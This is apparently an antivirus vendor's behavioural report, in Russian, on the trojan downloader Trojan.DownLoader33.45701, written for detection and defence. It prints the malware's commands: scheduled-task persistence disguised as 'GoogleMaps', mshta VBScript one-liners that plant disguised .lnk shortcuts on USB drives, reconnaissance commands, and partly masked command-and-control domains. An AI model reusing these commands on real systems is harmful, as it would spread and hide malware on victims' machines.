Trojan.DownLoader33.45701

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\googlemaps

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\vzkqu
<Имя диска съемного носителя>:\msg.exe
<Имя диска съемного носителя>:\aaa.txt
<Имя диска съемного носителя>:\msocache\sa17630.doc

Изменения в файловой системе

Создает следующие файлы

%TEMP%\7zipsfx.000\14569.cmd
%APPDATA%\microsoft\windows\iecompatcache\iecompatcache.exe
nul
%TEMP%\7zipsfx.000\egpmt
%TEMP%\7zipsfx.000\vzkqu.vbs
%TEMP%\7zipsfx.000\oigbh.vbs

Удаляет следующие файлы

<Имя диска съемного носителя>:\vzkqu

Сетевая активность

Подключается к

'bi###c.space':80
'bi###c.website':80

TCP

Запросы HTTP POST

http://bi###c.space/cache.php

UDP

DNS ASK bi###c.space
DNS ASK bi###c.website

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "%TEMP%\7ZipSfx.000\VzKQu.vbs"
'%WINDIR%\syswow64\wscript.exe' "%TEMP%\7ZipSfx.000\OIgBH.vbs"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\14569.cmd" otu"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\14569.cmd" otu"
'%WINDIR%\syswow64\mshta.exe' vbscript:Execute("On Error Resume Next:Set y=CreateObject(""WScript.Shell"").CreateShortcut(""<Имя диска съемного носителя>:\adhd_and_obesity.docx.lnk""):y.TargetPath=""<SYSTEM32>\cmd.exe"":y.A...
'%WINDIR%\syswow64\cmd.exe' /c dir /b /s /a "<Имя диска съемного носителя>:\*.doc"
'%WINDIR%\syswow64\attrib.exe' -h -s "<Имя диска съемного носителя>:\msg.exe" /s
'%WINDIR%\syswow64\find.exe' /i "TTL="
'%WINDIR%\syswow64\ping.exe' 8.8.8.8
'%WINDIR%\syswow64\find.exe' "="
'%WINDIR%\syswow64\wbem\wmic.exe' LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value
'%WINDIR%\syswow64\cmd.exe' /c WMIC LogicalDisk Where (DriveType=2 And MediaType=NULL) Get Name,VolumeSerialNumber /Value|Find "="
'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 7 /F /tn GoogleMaps /tr '"%APPDATA%\Microsoft\Windows\IECompatCache\IECompatCache.exe"'
'%WINDIR%\syswow64\cmd.exe' /c dir /ad /b %APPDATA%\Microsoft\Windows
'%WINDIR%\syswow64\find.exe' /i "command"
'%WINDIR%\syswow64\schtasks.exe' /Query /TN GoogleMaps /XML
'%WINDIR%\syswow64\cmd.exe' /c dir /s /b %WINDIR%\Installer\xlicons.exe
'%WINDIR%\syswow64\cmd.exe' /c dir /s /b %WINDIR%\Installer\wordicon.exe
'%WINDIR%\syswow64\cmd.exe' /c vol c
'%WINDIR%\syswow64\find.exe' "REG_SZ"
'%WINDIR%\syswow64\reg.exe' query "HKEY_USERS\.DEFAULT\Keyboard Layout\Preload"
'%WINDIR%\syswow64\cmd.exe' /c reg query "HKEY_USERS\.DEFAULT\Keyboard Layout\Preload"|find "REG_SZ"
'%WINDIR%\syswow64\findstr.exe'
'%WINDIR%\syswow64\wbem\wmic.exe' process where "Name='<Имя файла>.exe'" get ExecutablePath /value
'%WINDIR%\syswow64\cmd.exe' /c wmic process where "Name='<Имя файла>.exe'" get ExecutablePath /value| findstr
'%WINDIR%\syswow64\tasklist.exe' /fi "PID eq 2976" /fo csv
'%WINDIR%\syswow64\cmd.exe' /c tasklist /fi "PID eq 2976 " /fo csv
'%WINDIR%\syswow64\wbem\wmic.exe' process get parentprocessid, commandline /value
'%WINDIR%\syswow64\cmd.exe' /c wmic process get parentprocessid, commandline /value
'%WINDIR%\syswow64\ipconfig.exe' /flushdns
'%WINDIR%\syswow64\chcp.com' 1251
'%WINDIR%\syswow64\cmd.exe' /c dir /b /s /a "<Имя диска съемного носителя>:\*.rtf"
'%WINDIR%\syswow64\mshta.exe' vbscript:Execute("On Error Resume Next:Set y=CreateObject(""WScript.Shell"").CreateShortcut(""<Имя диска съемного носителя>:\phytoremediation.rtf.lnk""):y.TargetPath=""<SYSTEM32>\cmd.exe"":y.Ar...